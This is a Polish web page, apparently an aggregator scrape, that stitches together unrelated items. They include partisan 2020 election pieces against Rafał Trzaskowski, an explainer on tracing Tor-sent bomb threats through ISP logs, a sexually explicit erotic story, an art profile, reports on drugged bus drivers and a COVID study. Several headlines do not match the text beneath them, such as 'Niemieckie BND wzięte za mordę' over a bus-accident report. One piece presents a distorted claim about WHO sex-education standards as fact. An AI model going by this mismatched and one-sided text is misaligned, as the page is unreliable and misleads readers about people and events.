Nie jestem członkiem Solidarnej Polski, nie należę do PiS. Jestem emerytowanym górnikiem i udzielam się społecznie. W swoim regionie słynę z organizowania cyklicznie mszy św. za ojczyznę. Byłem jednym z najmłodszych uczestników tzw. poznańskiego Czerwca ‘56 (protestów antykomunistycznych, krwawo stłumionych przez milicję). Mam prawo mieć własne poglądy, mogę sympatyzować z różnymi środowiskami. Jestem zwolennikiem i miłośnikiem Solidarnej Polski, ale do tej pory nie myślałem o członkostwie. Poszedłem na debatę w poczuciu patriotycznego obowiązku. Mieszkam w Końskich i dlatego poczułem się zobowiązany do zadania pytania nie tylko prezydentowi Dudzie, ale też drugiemu kandydatowi; byłem przygotowany również na pana Trzaskowskiego, ale niestety się nie zjawił.

- mówi „Codziennej” pan Andrzej Wawrzyniak.

Dodaje, że lewicowe media w fałszywym świetle przedstawiły jego osobę i złamały tym samym przysługujące mu konstytucyjne prawa.

R: 0 / I: 0 / P: 21

Dlaczego Ochojska zagłosuje na Trzaskowskiego? "Bo wprowadzi kartę LGBT w całym kraju"

Janina Ochojska - europosłanka z rekomendacji Platformy Obywatelskiej i działaczka humanitarna - wymieniła powody, dla których w niedzielę 12 lipca odda głos na Rafała Trzaskowskiego. Wśród nich jest następujący: "bo wprowadzi kartę LGBT w całym kraju".

Rafał Trzaskowski robi, co może, by pozyskać głosy wyborców centrowych i prawicowych. Odcina się od swoich wcześniejszych "tęczowych pomysłów", nie mówi już, że chciałby udzielić ślubu dwóm gejom, umizguje się do narodowców. Jak ognia też wystrzega się tematu LGBT.

Ale Janina Ochojska - która dzięki PO dostała się do europarlamentu - zrobiła kandydatowi Platformy psikusa. A mianowicie wymieniła powody, dla których w wyborach zagłosuje na Rafała Trzaskowskiego. Wśród nich jest następujący: "bo wprowadzi kartę LGBT w całym kraju".

Przypomnijmy: w połowie lutego 2019 r. Trzaskowski - jako prezydent Warszawy - podpisał tzw. deklarację LGBT+. Wywołała ona wiele kontrowersji i głosów sprzeciwu, szczególnie w zakresie tzw. edukacji seksualnej, opartej w założeniach na standardach WHO (Światowej Organizacji Zdrowia). Jej wytycznymi są np. nauka masturbacji dzieci w wieku od czterech do sześciu lat albo oswajanie ich ze związkami osób tej samej płci. Z kolei dzieci w wieku od sześciu do dziewięciu lat mają mieć zajęcia, na których będą omawiane kwestie współżycia, również między osobami homoseksualnymi.

Co więcej, w opracowaniu karty brało udział Stowarzyszenie "Miłość Nie Wyklucza" twierdzące: "Tęczowa rodzina może składać się z dziecka/dzieci i dwóch mam lub dwóch tatów. Mogą ją również tworzyć dwie mamy oraz ojciec dziecka lub dwóch ojców i matka dziecka".

Czyżby więc Ochojska ujawniła, że Trzaskowski ma plan wprowadzenia takich zasad w całej Polsce?

R: 7 / I: 0 / P: 21

W sieci jest nagranie wystąpienia Trzaskowskiego w Brazylii

Niezawodny twitterowicz PikuśPOL wyszperał w odmętach internetu nagranie z sesji konferencji NETmundial, na której występował w 2014 r. Rafał Trzaskowski. W związku z tym bijemy się w piersi - pisaliśmy, że przemówienie ówczesnego ministra cyfryzacji trwało 30 minut, tymczasem okazało się, że… 3 minuty i 21 sekund. Przypomnijmy: Trzaskowski był w Brazylii przez 6 dni, a jego niemal tygodniowy pobyt w Sao Paulo wraz z doradczynią i jeszcze jednym urzędnikiem w pięciogwiazdkowym hotelu kosztował podatników ponad 60 tys. zł!

Jak wyliczył internauta znany pod pseudonimem PikuśPOL, podając link do wystąpienia Trzaskowskiego, trwało ono dokładnie 3 minuty i 21 sekund.

Poszperałem w necie i znalazłem wystąpienie R.Trzaskowskiego na konferencji NetMundia w 2014r w Brazylii.

Wystąpienie znajdziecie pod tym linkiem:

➡️https://t.co/RdWet0uVDw

Rozpoczyna się 3godzi 4min 07sek

Kończy w 3godz 7min 28sek

Czyli trwało uwaga🙈 - 3min 21sek😂💪

— PikuśPOL 🇵🇱 ‏📿 (@pikus_pol) July 8, 2020

Trzaskowski opowiadał w swoim wystąpieniu o wolności słowa w internecie. Same banalne rzeczy, które zresztą w większości odczytywał z kartki (w końcu 3 minuty to nie lada przemowa!). Jak dowiedział się portal Niezalezna.pl - korzyści z eskapady Trzaskowskiego były ŻADNE, a z wyjazdu nie sporządzono nawet sprawozdania.

Przypomnijmy: sam panel odbył się 23 kwietnia 2014 r. pomiędzy 11:30 a 13. Polityk spędził w Brazylii aż sześć dni w towarzystwie dwojga urzędników - do kraju wrócił 28 kwietnia 2014 r.

Z dokumentów wynika, że całkowity koszt podróży i pobytu w Brazylii wyniósł dokładnie 63 128,65 zł. Najdroższe okazały się bilety lotnicze wykupione Trzaskowskiemu. Cała delegacja podczas pobytu w Brazylii nocowała w jednym z najdroższych hoteli w Sao Paulo - pięciogwiazdkowym hotelu Hyatt.

Kto dokładnie towarzyszył Trzaskowskiemu podczas tej eskapady? Jak ustalił portal Niezalezna.pl - z politykiem na 6 dni do Brazylii udała się Joanna Popielawska, jego doradczyni w ministerstwie. To bardzo dobra znajoma Trzaskowskiego - w 2009 r., gdy rozpoczynał on karierę jako europoseł, była jego współpracowniczką w Parlamencie Europejskim. Pomagała mu m.in. przygotować specjalny numer "Przeglądu Natolińskiego Nowa Europa", opisując się wówczas jako "absolwentka Instytutu UE Collegium Civitas. Stypendystka Programu Roberta Schumana Parlamentu Europejskiego, analityk Centrum Europejskiego Natolin". Jak sprawdziliśmy - wspólne teksty podpisywali Trzaskowski i Popielawska w "Nowej Europie" jeszcze wcześniej, bo już w 2005 r.

Drugą osobą, która towarzyszyła Trzaskowskiemu w Sao Paulo, był Maciej Groń - ówczesny dyrektor Departamentu Społeczeństwa Informacyjnego MAC.

R: 43 / I: 0 / P: 21

Nikt nie monitoruje ruchu sieciowego Polaków. t. Adam Haertle

Korelacja logów ISP. Jeśli e-maile wysyłano o 4.20 nad ranem korzystając z TOR-a, można pokusić się o stwierdzenie, że o tej godzinie w Polsce tylko kilka osób łączyło się z siecią TOR (listę tzw. entry node’ów można pobrać z sieci i monitorować połączenia na te adresy). Gdyby służby miały możliwość przeszukiwania logów polskich ISP (np. TPSA, Netii, T-Mobile, etc.) mogłyby zaobserwować, że tuż przed 4.20 pewien komputer u jednego z ISP nagle nawiązał połączenie z siecią TOR. Oczywiście entry node != exit node, więc na tej podstawie nie można niczego dowieść, ale jest to bardzo cenna informacja “poszlakowa” ;-)

Analiza logów ofiar. W opisywanym dziś przez media przypadku, ktoś rozesłał wiadomość o bombie do kilkunastu instytucji. Atakującego możnaby więc namierzyć nie po samym e-mailu, a po korelacji logów pochodzących z “zaatakowanych” instytucji — w końcu jakoś musiał zebrać odpowiednie adresy e-mail tychże instytucji, a więc najprawdopodobniej musiał je wszystkie odwiedzić — czy na pewno zrobił to korzystając z proxy?

Analiza treści wiadomości. Czasem żądając okupu lub głosząc manifesty atakujący robią to w sposób, który zdradza ich “background” lub pozwala na określenie innych cech z nimi związanych. Być może w treści e-maili znalazło się coś, co podpowiedziało Policji, do jakich drzwi zastukać? Przypomnijmy, że twórca narkotykowego forum Silk Road wpadł m.in. dlatego, że zanim w zaczął dbać o swoją prywatność, korzystając z “gołego” adresu IP i własnego adresu e-mail zadawał pytania dotyczące problemów programistycznych charakterystycznych dla forum Silk Road.

Dla tych którzy nie znają pracy operatorów telekomunikacyjnych od środka małe przypomnienie: art. 179 ust. 4b prawa telekomunikacyjnego mówi, że teleoperatorzy powinni udostępniać dane ‘”bez udziału pracowników przedsiębiorcy telekomunikacyjnego.”. W skórcie: przedstawiciele służb mają swoje własne “pokoje” u teleoperatorów z nielimitowanym dostępem do ich baz danych. Można się zatem domyśląć, jak wygląda “kontrola” pracy takiego pracownika służb (a raczej jej brak)… Potwierdza to cytowany w artykule Siedleckiej Wacław Iszkowski, prezes Polskiej Izby Teleinformatyki.

I na koniec statystyka: polskie służby i policja sięgają po dane od teleoperatorów 1,3 mln razy w ciągu roku i jak zauważa Siedlecka, tylko policja ma obowiązek niszczyć pozyskane w ten sposób dane, jeśli nie przydadzą się one w trakcie śledztwa. Na marginesie, polskie służby wysyłają także żądania o dane do Google.

Piotr Konieczny

R: 19 / I: 0 / P: 21

Niemcy popierają Trzaskowskiego bo nie chcą płacić reparacji wojennych Polsce

Wezwałem do MSZ Chargé d'affaires Niemiec – poinformowałwiceminister spraw zagranicznych Szymon Szynkowski vel Sęk. Jak dodał, spotkanie odbędzie się w ministerstwie spraw zagranicznych w środę o godz. 17.

Wiceminister wyjaśnił, że ma to związek z sekwencją publikacji w niemieckich mediach „operujących manipulacjami i stwarzających jednoznaczne wrażenie zaangażowania po stronie jednego z kandydatów w wyborach prezydenckich w Polsce”.

W związku z sekwencją artykułów w niemieckich mediach operujących manipulacjami i stwarzających jednoznaczne wrażenie zaangażowania po stronie jednego z kandydatów w wyborach prezydenckich w Polsce, wezwałem dziś do MSZ Chargé d'affaires Niemiec.

— S Szynkowski vel Sęk (@SzSz_velSek) July 8, 2020

W ubiegłym tygodniu prezydent Andrzej Duda na wiecu wyborczym w Bolesławcu (woj. dolnośląskie) mówił m.in., że niedawno korespondent niemieckiej gazety "Die Welt" napisał, że lepszy dla Niemiec byłby prezydent Trzaskowski, bo "jest przeciwny temu, żeby Polska brała reparacje od Niemców, żeby Polska domagała się odszkodowań za drugą wojnę światową, ze zniszczenia, które wtedy zostały dokonane".

R: 0 / I: 0 / P: 21

Było to latem kiedy byłem na studiach

Było to latem kiedy byłem na studiach. Akurat wtedy stały się dość modne plaże dla naturystów. Zacząłem i ja chodzić na taką plażę. W moim mieście znajduje się ona przy podmiejskim sztucznym jeziorze, jakieś pół kilometra od zwykłej plaży dla "tekstylnych". Początkowo wydała mi się on dość nudna - większość plażowiczów stanowili faceci :-( - ale było na nie fajnie - daść spokojnie, luźniej niż na zwykłej, a poza tym można się było fajnie, równomiernie opalić…

Tego dnia - była to sobota - wsiadłem jak zwykle do zatłoczonego autobusu wiozącego plażowiczów nad jezioro. W pewnej chwili poczułem, że ktoś trąca mnie w ramię. Obejrzałem się i poznałem dawno nie widzianą koleżankę z podstawówki Bożenę. Swego czasu byliśmy zaprzyjaźnieni (a nawet trochę "kręciliśmy" ze sobą, ale tak po szczeniacku i bez dalszgo ciągu :-( ) totaż uściskaliśmy się serdecznie. Na ożywionej rozmowie szybko upłynęło nam pół godziny jazdy…

- Idziesz na plażę? - spytała retorycznie Bożena.

- Mhmm - odparłem niewyraźnie. Poczułem się trochę głupio bo planując pójście na plażę naturystów nie wziąłem kąpielówek. Nie mogłem więc pójść z nią na zwykłą plażę.

Wysiedliśmy. Z przystanku widać było już tłum plażowiczów na "tekstylnej" plaży.

- No to część - powiedziałem (z niejakim żalem).

- Gdzie chcesz iść? - spytała zdziwiona.

Nie widziałem innego wyjścia jak powiedzieć prawdę.

- Widzisz, ja idę na plażę dla naturystów - bąknąłem.

- Bomba! Naprawdę? Weź mnie ze sobą - powiedziała.

Poszliśmy. Na plaży wybraliśmy miejsce załonięte kępą krzaków od innych plażowiczów. Bożena rozłożyła koc i zaczęliśmy się rozbierać. Gdy Bożena zdjęła staniczek i majteczki od kostiumu poczułem, że "laska" w spodenkach (jeszcze ich nie zdjąłem) zaczyna mi się prężyć. Zawstydzony, udając, że szukam czegoś w plecaku, obróciłem się do niej tyłem, szybko zdjąłęm spodenki i … położyłem się na brzuchu.

- Możesz mnie natrzeć olejkiem? - usłyszałem.

Bożena ułożyła się celowo tak, że nie mogłem natrzeć jej nie podnosząc się z koca. - Było nie było. Może mnie nie wyśmieje - pomyślałem i obróciłem się w jej stronę prezentując półsztywną "laskę".

Bożena oblała się silnym rumieńcem, ale nic nie powiedziała. Zacząłem nacierać jej plecy i pośladki olejkiem. Członek natychmiast mi zesztywniał całkowicie, ale niczym już się nie przejmowałem. Leżeliśmy obok siebie chwilę gawędząc leniwie.

- Daj. Teraz ja cię natrę - usłyszałem w pewnej chwili jej głos. Po chwili poczułem delikatny dotyk jej dłoni na moich plecach i pośladkach…

- Obróć się - powiedziała.

Gdy obróciłem się przodem do niej nalała sobie na dłoń trochę olejku i zaczęła go wcierać w moją klatkę piersiową i brzuch. Potem, jak gdyby nigdy nic, jej ręka powędrowała niżej i zaczęła delikatnie nacierać majego sztywnego członka!

- Ooooo - jęknąłęm.

- Chodź - powiedziała cicho i wzięła mnie za rękę.

Wdrapaliśmy się szybko na wysoką skarpę rozciągającą się nad plażą. Powyżej rozciągała się rozległa łąka pokryta bójną, sięgającą do pasa trawą.

Opadliśmy na ziemię wśród tych falujących łanów trawy. Spletliśmy się w uścisku. Wszedłem w nią prawie natychmiast - zachłannie i łapczywie. Czułem jej palce w swoich włosach, jej nogi mocno oplotły moje biodra. Kochaliśmy sie jak szaleni - upojeni swoimi doznaniami, rozgrzani tym pachnącym ziołami letnim dniem… Po chwili eksplodowałem w niej… Tak, to jest właściwe określenie. Naprawdę eksplodowałem. Miałem wrażenie, że wypełniam ją sobą po brzegi…

Leżeliśmy przez dlugą chwilę spleceni ciężko dysząc. W uszach mi szumiało, a serce waliło jak młotem.

Dopiero kiedy wracaliśmy ogarnął mnie niepokój. Oczywiście nie byłem wcześnie przygotowany na taką przygodę i nie wziąłem ze sobą prezerwatywy (był to jedyny raz kiedy kochałem się bez zabezpieczenia). Teraz bałem się czy Bożena nie zajdzie w ciążę. Na szczęście nic złego się nie stało…

M.

R: 0 / I: 0 / P: 21

Starowieyski – akty i śmierć

Lubił pracować przed publicznością. W czasie jego teatrów rysowania powstawały wielkie realizacje o wymiarach 3 na 20 metrów. 90 lat temu urodził się Franciszek Starowieyski.

Franciszek Starowieyski (1930–2009) miał ziemiańskie pochodzenie. Urodził się bowiem w rodzinnym dworze w Bratkówce w województwie podkarpackim. Nie ułatwiało mu to artystycznej kariery w latach stalinowskich. Jednak ogromny talent, szeroka wiedza i znajomość języków obcych pozwoliły mu z czasem stać się najbardziej znanym i rozpoznawalnym twórcą rysunków oraz charakterystycznych plakatów. Te tworzone węglem na białych kartonach lub płótnach rysunki, pełne witalnej zmysłowości, łączyły kobiece akty z barokową tematyką śmierci. Artysta świadomie zestawiał ludzkie namiętności z kruchością naszego życia, z nieodzownym przemijaniem, co w jego plastycznych realizacjach ukazywane było w szokujących rozpadających i rozkładających się szkieletach. Śmiało sięgał po symbolikę różnych nurtów europejskiego malarstwa inspirowanego grafiką i obrazami sztuki baroku, perfekcyjnie operował barokową kaligrafią.

Starowieyski zaliczany był też do twórców sławnej szkoły polskiego plakatu. Pisał kiedyś: „Najtrudniejszą rzeczą do zrobienia plakatu jest znalezienie pretekstu. Mnie najlepiej zawsze wychodziły rzeczy robione mimochodem. Ale dla Wajdy, z którym się przyjaźniłem, nigdy mi nic nie wyszło. Chciałem za dobrze. Do »Ziemi obiecanej« zrobiłem ze trzydzieści szkiców, w tym kilka naprawdę dobrych, a na nic się nie zdecydowałem”. Dziesiątki jego plakatów filmowych, teatralnych czy zapowiadających malarskie wystawy jeszcze do czasu stanu wojennego codziennie spotykało się na polskich ulicach. Zdobywał za nie najrozmaitsze międzynarodowe i krajowe nagrody, by w roku 2005 otrzymać Złoty Medal „Zasłużony Kulturze Gloria Artis”.

Prywatnie Franciszek Starowieyski był znakomitym gawędziarzem z niezrównanym zapałem opowiadającym o swoich pasjach kolekcjonerskich. W książce Izabeli Górnickiej-Zdziech pt. „Przewodnik zacnego kolekcjonera według Franciszka Starowieyskiego” jest taka wypowiedź artysty: „Zbieractwo to wewnętrzna potrzeba. Trzeba się z nią urodzić. Kolekcjonuje się bowiem po to, by poszerzać swoje horyzonty, a nie żeby zaoszczędzone zaskórniaki w tajemnicy przed żoną wydawać. Pamiętam, że kiedy w 1957 r. dostałem wreszcie samodzielne mieszkanie, pierwszą rzeczą, jaką do niego kupiłem, był srebrny garnuszek do beszamelu z 1830 r. Identyczny stał kiedyś w naszym rodzinnym dworze. Wynalazłem go gdzieś na targu staroci, sprzedający nawet nie zauważył, iż to srebro. Byłem bardzo zadowolony z tego, że oto posiadam jakiś skarb”. Franciszek Starowieyski z czasem stał się wybitnym ekspertem w dziedzinie rzemiosła artystycznego epoki baroku, zbierał głównie drogocenne przedmioty złotnictwa, szczególną zaś miłością darzył stare księgi oraz zabytkowe zegary i zegarki.

R: 15 / I: 0 / P: 21

Niemieckie BND wzięte za mordę w Warszawie

W ostatnim czasie w Warszawie miały miejsce dwa wypadki z udziałem autobusów miejskich obsługiwanych przez firmę Arriva. Kierowcy tych pojazdów byli pod wpływem narkotyków. Co na to firma? - Chcemy wypracować odpowiednie mechanizmy, które pozwolą rozwiązać systemowo problem oraz zagwarantować bezpieczeństwo pasażerom - czytamy w oświadczeniu.

Prowadzili po narkotykach

Wczoraj około godz. 10.30 na ul. Klaudyny na warszawskich Bielanach kierowca autobusu linii 181 uderzył w cztery zaparkowane pojazdy i latarnię. Jedna osoba, pasażerka autobusu, została przewieziona do szpitala z ogólnymi obrażeniami. Jak poinformowała policja, 25-letni kierowca autobusu był trzeźwy, ale test na narkotyki wykazał w jego organizmie obecność środków odurzających. Mężczyzna został zatrzymany.

Po wypadku rzeczniczka stołecznego ratusza Karolina Gałecka poinformowała, że w związku z decyzją o czasowym zawieszeniu umowy z Arrivą, autobusy tego przewoźnika nie wyjadą do odwołania na stołeczne drogi. Jak wskazała - pojazdy zapewnić ma pozostałych pięciu przewoźników, którzy realizują przewozy na terenie miasta.

Wtorkowy wypadek to drugie podobne zdarzenie z udziałem kierowcy miejskiego autobusu, będącego pod wpływem narkotyków, pracującego dla firmy Arriva. 25 czerwca kierowca autobusu linii 186 spowodował wypadek na moście Grota-Roweckiego, w którym zginęła pasażerka, a czworo innych pasażerów zostało ciężko rannych. Tomasz U., który kierował autobusem, był pod wpływem amfetaminy. Został aresztowany.

Arriva bada kierowców

Rzeczniczka spółki Arriva Joanna Parzniewska w oświadczeniu zapewniła, że spółka w pełni szanuje decyzję miasta o czasowym zawieszeniu umowy, która - jak przypomniała - związana jest z okolicznościami wczorajszego wypadku autobusu w Warszawie.

- Działając w poczuciu najwyższej odpowiedzialności za zdrowie i życie pasażerów, rozpoczęliśmy badania wszystkich kierowców zatrudnionych przez Arriva, pomimo istniejącej luki prawnej oraz nieuregulowanych kwestii kontroli kierowców przez przewoźników pod kątem stosowania środków odurzających

- zaznaczyła.

Dodała, że przewoźnicy Arrivy zostaną również przeszkoleni przez specjalistów w zakresie rozpoznawania oznak wpływu narkotyków. "Potwierdzimy bezpieczeństwo realizowanych przez nas przewozów. Pozostajemy też do pełnej dyspozycji służb i podmiotów kontrolujących" - wskazała.

Zaznaczyła, że Arriva chce ponadto, "razem ze wszystkimi zainteresowanymi stronami, którym zależy na bezpieczeństwie transportu, wypracować odpowiednie mechanizmy, które pozwolą rozwiązać systemowo problem oraz zagwarantować bezpieczeństwo pasażerom".

- Wystąpiliśmy do ministerstwa z pismem wskazującym na konieczność zmian prawnych w zakresie mechanizmów kontrolnych pracowników w transporcie publicznym. Bezpieczeństwo zarówno pasażerów, jak i wszystkich uczestników ruchu drogowego było, jest i będzie dla naszej firmy najwyższym priorytetem

- zapewniła.

R: 1 / I: 0 / P: 21

Polska powinna mieć najniższy spadek PKB w Europie

- Kryzys powoli dobiega końca. Mamy bardzo dobre dane i powinniśmy mieć najniższy spadek PKB w Europie - ocenił ubiegający się o reelekcję prezydent Andrzej Duda na spotkaniu wyborczym w Białej Podlaskiej (woj. lubelskie). Prezydent ocenił również, że "jesteśmy pod względem militarnym znacznie bezpieczniejsi niż byliśmy zanim objąłem urząd prezydenta". - Tysiące amerykańskich żołnierzy wspiera bezpieczeństwo Polski i naszej części Europy - dodał.

Na spotkaniu z mieszkańcami prezydent stwierdził, że ostatnie pięć lat to był dobry czas dla Polski, w tym m.in. dla bezpieczeństwa kraju.

"Nigdy wcześniej jeszcze tak nie było, żebyśmy mieli na naszym terytorium sojusznicze wojska - wojska NATO, wojska amerykańskie, które sami tutaj zaprosiliśmy, dzisiaj są tysiące zaprzyjaźnionych z nami żołnierzy, który pomagają nam, wspierają nas w tym, żeby i Polska, i nasza część Europy była bezpieczna, to jest efekt negocjacji, które prowadziliśmy w 2015 i 2016 roku przed szczytem NATO w Warszawie"

- powiedział Andrzej Duda.

Środa, godzina 11:45. „Kilka” osób na spotkaniu z Prezydentem @AndrzejDuda #DUDA2020 w Białej Podlaskiej!

Wielka moc!

🇵🇱🇵🇱🇵🇱🇵🇱✌️ pic.twitter.com/r3biEbLT5n

— Marcin Czapliński (@czaplinskiii) July 8, 2020

Ten szczyt - dodał - "okazał się naszym sukcesem".

"Została ustanowiona wysunięta obecność na wschodniej flance Sojuszu Północnoatlantyckiego i dzisiaj mogę z całą pewnością powiedzieć, że jesteśmy pod względem militarnym znacznie bezpieczniejsi niż byliśmy zanim objąłem urząd prezydenta RP"

- mówił.

Według Andrzeja Dudy wybory prezydenckie zdecydują jaka będzie przyszłość Polski. Apelował do zebranych, aby w niedzielę zagłosowali, wyrażał nadzieję, że w II turze wyborów frekwencja będzie jeszcze większa niż 28 czerwca.

"Te wybory prezydenckie przesądzą, jaka będzie nasza ojczyzna w przyszłości, czy będzie się nadal rozwijała, czy będzie nadal rosła w siłę, czy będzie będzie budowane jej bezpieczeństwo w taki sposób jak do tej pory"

- ocenił.

"Chcę działać przez najbliższe lata, po to, by polska gospodarka po pierwsze wróciła na tory dynamicznego rozwoju, a po drugie - by jeszcze bardziej przyspieszyła w stosunku do tego, co było"

- mówił Andrzej Duda.

Prezydent przekazał, że "mamy bardzo dobre dane, KE podaje i przewiduje, że powinniśmy mieć najniższy spadek PKB w Europie, w porównaniu z innymi krajami nawet kilkakrotnie niższy".

Dodał, że dzięki działaniom rządu udało się w czasie kryzysu ochronić 4,5 tys. miejsc pracy w samej Białej Podlaskiej.

"Ten kryzys powoli dobiega końca, wychodzimy z niego w coraz większym stopniu"

- mówił Duda.

Podkreślił, że zmniejsza się deficyt budżetowy, a wpływy z podatków "wracają do normalności".

R: 1 / I: 0 / P: 21

Niepokojące badania dotyczące koronawirusa

Hiszpański dziennik „El Pais” opublikował dzisiaj zaskakujące wnioski z badania brytyjskich naukowców. Dowodzą one, że u niektórych pacjentów chorych na Covid-19 występują psychozy i urojenia, a infekcja koronawirusem może prowadzić do zmian w układzie nerwowym.

Gazeta cytując koordynatora studium Michaela Zandiego, pracownika naukowego University College of London (UCL), podkreślającego, że zakażenie SARS-CoV-2 może prowadzić do szeregu zmian neurologicznych, m.in. urojeń, czyli zaburzeń treści racjonalnego myślenia.

Innymi, według autorów badania, konsekwencjami infekcji koronawirusem mogą być psychozy, a także procesy zapalne ośrodkowego układu nerwowego oraz pojawienie się nadciśnienia śródczaszkowego.

Zandi wyjaśnił, że w trakcie badania u kilku pacjentów zdiagnozowano też pojawienie się po zakażeniu koronawirusem zespołu Guillaina-Barrego (GBS), przejawiającego się atakowaniem przez układ odpornościowy organizmu komórek nerwowych.

Na liście możliwych konsekwencji Covid-19 autorzy studium, opublikowanego również w naukowym piśmie „Brain”, wymienili udary mózgu, a także zaburzenia neurologiczne obwodowego układu nerwowego.

Brytyjscy naukowcy zauważyli, że zaburzenia neurologiczne u niektórych pacjentów z Covid-19 pojawiają się w następstwie uruchomienia przez organizm „w sposób przesadny” mechanizmów obronnych po zakażeniu SARS-CoV-2.

Autorzy badania, przeprowadzonego na 43 pacjentach z Covid-19, zaznaczyli, że pojawienie się zmian neurologicznych u zakażonych koronawirusem, może prowadzić do zgonu. Zaznaczyli jednak, że w żadnym przypadku nie zaobserwowano obecności komórek koronawirusa w mózgu pacjentów.

R: 2 / I: 0 / P: 22

Cybernieudacznik Trzaskowski

Rafał Trzaskowski, dziś kandydat PO na prezydenta Polski, jako minister cyfryzacji naraził polskie państwo na niebezpieczeństwo ze strony cyberprzestępców - wynika z miażdżącego dla polityka raportu Najwyższej Izby Kontroli, przygotowanego jeszcze za rządów Krzysztofa Kwiatkowskiego, obecnie senatora. - Rzadko zdarza się tak negatywna ocena wydana przez NIK - mówił w 2017 r. "GP" jeden z kontrolerów Izby.

Trzaskowski lubi kreować się na dynamicznego, nowoczesnego polityka. Takim też przedstawiają go antypisowskie media oraz komentatorzy polityczni niechętni obecnej władzy. Prof. Wojciech Sadurski mówił o Trzaskowskim: "Wysłałby sygnał dynamiki, energii, młodości. To fantastyczny, kompetentny młody człowiek".

2 czerwca 2015 r. "Newsweek" w artykule-laurce pisał: "Trzaskowski był prekursorem. Jako pierwszy w Polsce prowadził kampanię wyborczą w internecie. Wzorował się na kampanii Baracka Obamy, który rok wcześniej zdobywał głosy w mediach społecznościowych". Trzy tygodnie później prezes Najwyższej Izby Kontroli Krzysztof Kwiatkowski zatwierdził raport pt. "Realizacja przez podmioty państwowe zadań w zakresie ochrony cyberprzestrzeni RP". Druzgocący dla internetowego "prekursora".

Trzaskowski nic nie zrobił

Na początku informacji o kontroli NIK autorzy zadają pytania:

„Czy są gdzieś «wirtualni strażacy» gotowi nieść pomoc w przypadku informatycznej katastrofy? Czy jako państwo jesteśmy chronieni przed wywołanym z zewnątrz wirtualnym paraliżem, który spotkał już kiedyś jednego z naszych sąsiadów?”

Niestety - nie udzielają na nie pozytywnych odpowiedzi. „Kontrola wykazała, że Minister Administracji i Cyfryzacji, będący w chwili obecnej jedynym organem administracji publicznej, któremu bezpośrednio przypisano obowiązki związane z ochroną cyberprzestrzeni, nie realizował należących do niego zadań w zakresie inicjowania i koordynowania działań innych podmiotów w obszarze bezpieczeństwa teleinformatycznego państwa” - czytamy w dokumencie NIK.

W okresie objętym kontrolą (prowadzonej do grudnia 2014 r.) ministrami administracji i cyfryzacji (urząd utworzony w 2011 r.) byli: Michał Boni (listopad 2011 - listopad 2013) i właśnie Rafał Trzaskowski (grudzień 2013 - wrzesień 2014). Na końcówkę kontroli załapał się też Andrzej Halicki, który stanowisko szefa tego resortu objął 22 września 2014 r. Ale kontrolerzy działali przede wszystkim za urzędowania Trzaskowskiego.

Finalny dokument NIK jest porażający. Izba negatywnie oceniła pracę Trzaskowskiego we wszystkich trzech obszarach objętych kontrolą, tj. w zakresie budowy systemu ochrony cyberprzestrzeni RP, szacowania ryzyk związanych ze zdarzeniami występującymi w cyberprzestrzeni, a także realizacji zadań związanych z ochroną cyberprzestrzeni.

Według NIK „kierownictwo większości objętych kontrolą podmiotów państwowych, w tym w szczególności Minister Administracji i Cyfryzacji odpowiadający za koordynację działań w obszarze bezpieczeństwa teleinformatycznego, nie miało świadomości należących do nich zadań związanych z ochroną cyberprzestrzeni RP”. Jak stwierdzono - działania te sprowadzały się do… „doraźnego, ograniczonego reagowania na bieżące wydarzenia oraz biernego oczekiwania na rozwiązania, które w tym obszarze zaproponuje Unia Europejska”.

W raporcie NIK pada wiele zarzutów, całkowicie kompromitujących Trzaskowskiego. Np. że „Minister Administracji i Cyfryzacji, który w chwili obecnej jest jedynym organem, któremu wprost przypisano zadania związane z ochroną cyberprzestrzeni, nie posiadał podstawowej świadomości obowiązków w tym zakresie”. Albo następujący:

„Minister Administracji i Cyfryzacji, który zgodnie z zapisami Polityki odpowiada za koordynację krajowego systemu reagowania na incydenty komputerowe, nie realizował żadnych zadań w tym zakresie”.

R: 16 / I: 0 / P: 22

Amfetaminowe komando BND

Gdy mieliśmy przed dwoma tygodniami pierwszy wypadek w Warszawie, na moście Grota-Roweckiego, pojawiły się apele, aby tej sprawy nie komentować politycznie, aby zostawić to w spokoju. (…) dziś mamy kolejny wypadek z udziałem niemieckiego przewoźnika, gdzie kierowca wozi Polaków pod wpływem narkotyków - mówił w programie TVP Info "#Jedziemy" wiceminister cyfryzacji Adam Andruszkiewicz. Gość red. Michała Rachonia przyznał, że dostrzega problem w zarządzaniu Warszawą.

Dwa tygodnie temu doszło do tragicznego w skutkach wypadku autobusu warszawskiej komunikacji miejskiej. W wyniku zdarzenia zmarła starsza kobieta w wieku ok. 70 lat. Ponadto 18 osób było poszkodowanych. Niedługo później okazało się, że kierowca -podczas pracy- był pod wpływem amfetaminy.

Wczoraj doszło do kolejnego zdarzenia z udziałem autobusu operatora Arriva - podmiotu podległego niemieckiemu odpowiednikowi PKP - Deutsche Bahn. Dziś wiadomo już, że ten kierowca także był pod wpływem środków odurzających. Wykonane testy dały jednoznaczny wynik - wykryto u niego meta-amfetaminę.

Pytany o tę sprawę Adam Andruszkiewicz przyznaje, że „w tym aspekcie pan prezydent Rafał Trzaskowski zachowuje się w sposób skandaliczny”. - Gdy mieliśmy przed dwoma tygodniami pierwszy wypadek w Warszawie, na moście Grota-Roweckiego, pojawiły się apele, aby tej sprawy nie komentować politycznie, aby zostawić to w spokoju. Tak się stało. Nie zrobiliśmy z tego „użytku” w kampanii wyborczej - przyznał gość „#Jedziemy”.

- Teraz jednak mamy kolejny wypadek z udziałem niemieckiego przewoźnika, gdzie kierowca wozi Polaków pod wpływem narkotyków. Z całym szacunkiem, ale pokazuje to, że to głębszy, systemowy problem

- ocenił wiceminister cyfryzacji.

Polityk dostrzega „wielki problem zarządzania Warszawą przez Platform Obywatelską i Rafała Trzaskowskiego”.

- Różne usługi w Warszawie są oddawane w obce ręce. Niemiecka firma pośredniczy w przewożeniu Polaków, Niemcy również dostarczają prąd, Francuzi ciepło, tureckie firmy budują metro. To pokazuje systemowe podejście Trzaskowskiego do zarządzania

- wymieniał Andruszkiewicz.

Przyznał, że jeśli wygrałby wybory (Rafał Trzaskowski -red.), istniałoby zagrożenie, że wielkie segmenty polskiej gospodarki zostałyby przejęte przez obcy kapitał.

- To powtórzenie turboliberalnej kalki z lat ’90, kiedy to polityczni ojcowie pana Trzaskowskiego -m.in. pan Balcerowicz- zarządzali Polską. Wyprzedawali polski majątek, twierdząc, że coś jest nieopłacalne. Po tym okazywało się, że zagraniczni właściciele potrafili generować zyski

- mówił gość red. Michała Rachonia.

R: 0 / I: 0 / P: 22

